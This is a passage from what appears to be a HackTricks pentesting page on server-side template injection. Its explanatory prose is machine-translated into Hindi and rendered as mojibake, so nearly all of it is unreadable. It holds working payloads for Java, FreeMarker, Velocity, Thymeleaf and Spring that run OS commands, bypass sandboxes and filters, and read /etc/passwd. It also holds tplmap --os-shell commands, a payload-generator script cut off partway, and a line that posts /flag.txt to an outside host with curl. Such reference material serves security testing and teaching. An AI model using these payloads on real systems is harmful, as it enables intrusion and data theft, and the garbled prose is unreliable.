SSTI (Server Side Template Injection)
Reading time: 32 minutes
tip
AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
- рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ рджреЗрдЦреЗрдВ!
- рд╣рдорд╛рд░реЗ ЁЯТм Discord рд╕рдореВрд╣ рдпрд╛ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ рд╣рдорд╛рд░реЗ Twitter ЁЯРж @hacktricks_live** рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред**
- рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ HackTricks рдФрд░ HackTricks Cloud рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PRs рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред
SSTI (рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди) рдХреНрдпрд╛ рд╣реИ
рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдПрдХ рдХрдордЬреЛрд░реА рд╣реИ рдЬреЛ рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдХрдордЬреЛрд░реА рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Jinja рд╢рд╛рдорд┐рд▓ рд╣реИред
Jinja рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рд╣реИ рдЬреЛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдЗрдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬреЛ Jinja рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдХрдордЬреЛрд░ рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ:
output = template.render(name=request.args.get('name'))
рдЗрд╕ рдХрдордЬреЛрд░ рдХреЛрдб рдореЗрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрд░реЛрдз рд╕реЗ name
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╕реАрдзреЗ render
рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ name
рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рддрд░рд╣ рдХреЗ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}}
рдХреЛ name
рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдкреЗрд▓реЛрдб Jinja рдЯреЗрдореНрдкрд▓реЗрдЯ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЕрдирдзрд┐рдХреГрдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдпрд╛ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рдХреЛ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рдбрд╛рд▓реЗ рдЬрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рд╕рд╛рдл рдФрд░ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрдирдкреБрдЯ рдорд╛рдиреНрдпрддрд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдФрд░ рд╕рдВрджрд░реНрдн-рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛рд▓реЗ рдПрд╕реНрдХреЗрдкрд┐рдВрдЧ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЗрд╕ рдХрдордЬреЛрд░реА рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред
Detection
рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди (SSTI) рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЛ рдлрдЬрд╝ рдХрд░рдирд╛ рдПрдХ рд╕реАрдзрд╛ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╣реИред рдЗрд╕рдореЗрдВ рдЯреЗрдореНрдкрд▓реЗрдЯ рдореЗрдВ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ (${{<%[%'"}}%\
) рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рдФрд░ рдирд┐рдпрдорд┐рдд рдбреЗрдЯрд╛ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЗрд╕ рд╡рд┐рд╢реЗрд╖ рдкреЗрд▓реЛрдб рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рднрд┐рдиреНрдирддрд╛рдУрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдХрдордЬреЛрд░реА рдХреЗ рд╕рдВрдХреЗрддреЛрдВ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
- рдлреЗрдВрдХреЗ рдЧрдП рддреНрд░реБрдЯрд┐рдпрд╛рдБ, рдЬреЛ рдХрдордЬреЛрд░реА рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИрдВред
- рдкрд░рд╛рд╡рд░реНрддрди рдореЗрдВ рдкреЗрд▓реЛрдб рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐, рдпрд╛ рдЗрд╕рдХреЗ рдХреБрдЫ рд╣рд┐рд╕реНрд╕реЛрдВ рдХрд╛ рдЧрд╛рдпрдм рд╣реЛрдирд╛, рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЗрд╕реЗ рдирд┐рдпрдорд┐рдд рдбреЗрдЯрд╛ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрд▓рдЧ рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИред
- Plaintext Context: XSS рд╕реЗ рдЕрд▓рдЧ рдкрд╣рдЪрд╛рдиреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ (рдЬреИрд╕реЗ,
{{7*7}}
,${7*7}
)ред - Code Context: рдЗрдирдкреБрдЯ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдмрджрд▓рдХрд░ рдХрдордЬреЛрд░реА рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП,
http://vulnerable-website.com/?greeting=data.username
рдореЗрдВgreeting
рдХреЛ рдмрджрд▓рдХрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдЧрддрд┐рд╢реАрд▓ рд╣реИ рдпрд╛ рд╕реНрдерд┐рд░, рдЬреИрд╕реЗgreeting=data.username}}hello
рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рд▓реМрдЯрд╛рддрд╛ рд╣реИред
Identification Phase
рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдХреА рдкрд╣рдЪрд╛рди рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ рдпрд╛ рд╡рд┐рднрд┐рдиреНрди рднрд╛рд╖рд╛-рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреЗрд▓реЛрдб рдХрд╛ рдореИрдиреНрдпреБрдЕрд▓ рдкрд░реАрдХреНрд╖рдг рдХрд░рдХреЗ рдХреА рдЬрд╛рддреА рд╣реИред рд╕рд╛рдорд╛рдиреНрдп рдкреЗрд▓реЛрдб рдЬреЛ рддреНрд░реБрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ рдЙрдирдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ ${7/0}
, {{7/0}}
, рдФрд░ <%= 7/0 %>
ред рдЧрдгрд┐рддреАрдп рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рджреЗрдЦрдирд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдХреЛ рдкрд╣рдЪрд╛рдирдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред
Identification by payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
Tools
TInjA
рдПрдХ рдкреНрд░рднрд╛рд╡реА SSTI + CSTI рд╕реНрдХреИрдирд░ рдЬреЛ рдирд╡реАрдирддрдо рдкреЙрд▓реАрдЧреНрд▓реЙрдЯреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
рдПрдХ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рдЯреЗрдмрд▓ рдЬрд┐рд╕рдореЗрдВ рд╕рдмрд╕реЗ рдкреНрд░рднрд╛рд╡реА рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬреЗрдХреНрд╢рди рдкреЙрд▓реАрдЧреНрд▓реЙрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рд╕рд╛рде рд╣реА 44 рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрдиреЛрдВ рдХреЗ рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рднреА рд╣реИрдВред
Exploits
Generic
рдЗрд╕ wordlist рдореЗрдВ рдЖрдк рдиреАрдЪреЗ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдХреБрдЫ рдЗрдВрдЬрдиреЛрдВ рдХреЗ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
${T(java.lang.System).getenv()}
Java - /etc/passwd рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
рдЖрдк рдЕрдкрдиреЗ рдкреЗрд▓реЛрдбреНрд╕ рдХреЛ https://try.freemarker.apache.org рдкрд░ рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВ
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} рдХреБрдЫ рдирд╣реАрдВ
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox рдмрд╛рдпрдкрд╛рд╕
тЪая╕П рдХреЗрд╡рд▓ Freemarker рдХреЗ 2.3.30 рд╕реЗ рдиреАрдЪреЗ рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
- FreeMarker рдЕрдиреБрднрд╛рдЧ рдореЗрдВ https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
- Velocity рдЕрдиреБрднрд╛рдЧ рдореЗрдВ https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Thymeleaf рдореЗрдВ, SSTI рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдкрд░реАрдХреНрд╖рдг рд╣реИ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐ ${7*7}
, рдЬреЛ рдЗрд╕ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдкрд░ рднреА рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИред рд╕рдВрднрд╛рд╡рд┐рдд рд░рд┐рдореЛрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf рдХреЛ рдЗрди рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдХреЗ рднреАрддрд░ рд░рдЦрд╛ рдЬрд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, expression inlining рдЕрдиреНрдп рдЯреЗрдореНрдкрд▓реЗрдЯ рд╕реНрдерд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдерд┐рдд рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ [[...]]
рдпрд╛ [(...)]
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдПред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдПрдХ рд╕рд░рд▓ SSTI рдкрд░реАрдХреНрд╖рдг рдкреЗрд▓реЛрдб рдЗрд╕ рддрд░рд╣ рджрд┐рдЦ рд╕рдХрддрд╛ рд╣реИ [[${7*7}]]
ред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рдкреЗрд▓реЛрдб рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдХрдо рд╣реИред Thymeleaf рдХреА рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЧрддрд┐рд╢реАрд▓ рдЯреЗрдореНрдкрд▓реЗрдЯ рдирд┐рд░реНрдорд╛рдг рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреА; рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реЗ рддрд╛рддреНрдХрд╛рд▓рд┐рдХ рд░реВрдк рд╕реЗ рдЯреЗрдореНрдкрд▓реЗрдЯ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдирд╛ TemplateResolver
рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдЬреЛ рдЕрд╕рд╛рдорд╛рдиреНрдп рд╣реИред
Thymeleaf expression preprocessing рднреА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рдбрдмрд▓ рдЕрдВрдбрд░рд╕реНрдХреЛрд░ (__...__
) рдХреЗ рднреАрддрд░ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдкреВрд░реНрд╡-рдкреНрд░рд╕рдВрд╕реНрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрднрд┐рд╡реНрдпрдХреНрддрд┐рдпреЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ Thymeleaf рдХреЗ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
#{selection.__${sel.code}__}
Thymeleaf рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрджрд╛рд╣рд░рдг
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ, рдЬреЛ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЯреЗрдореНрдкрд▓реЗрдЯ рдЗрдВрдЬрди рдЗрди рдЗрдирдкреБрдЯ рдХреЛ рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдУрд░ рд▓реЗ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ URLs рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА
рд╕реНрдкреНрд░рд┐рдВрдЧ рдлреНрд░реЗрдорд╡рд░реНрдХ (рдЬрд╛рд╡рд╛)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
рдлрд┐рд▓реНрдЯрд░ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ
рдпрджрд┐ ${...}
рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рддреЛ рдХрдИ рд╡реЗрд░рд┐рдПрдмрд▓ рдПрдХреНрд╕рдкреНрд░реЗрд╢рдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ #{...}
, *{...}
, @{...}
рдпрд╛ ~{...}
ред
/etc/passwd
рдкрдврд╝реЗрдВ
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- рдкреЗрд▓реЛрдб рдЬрдирд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
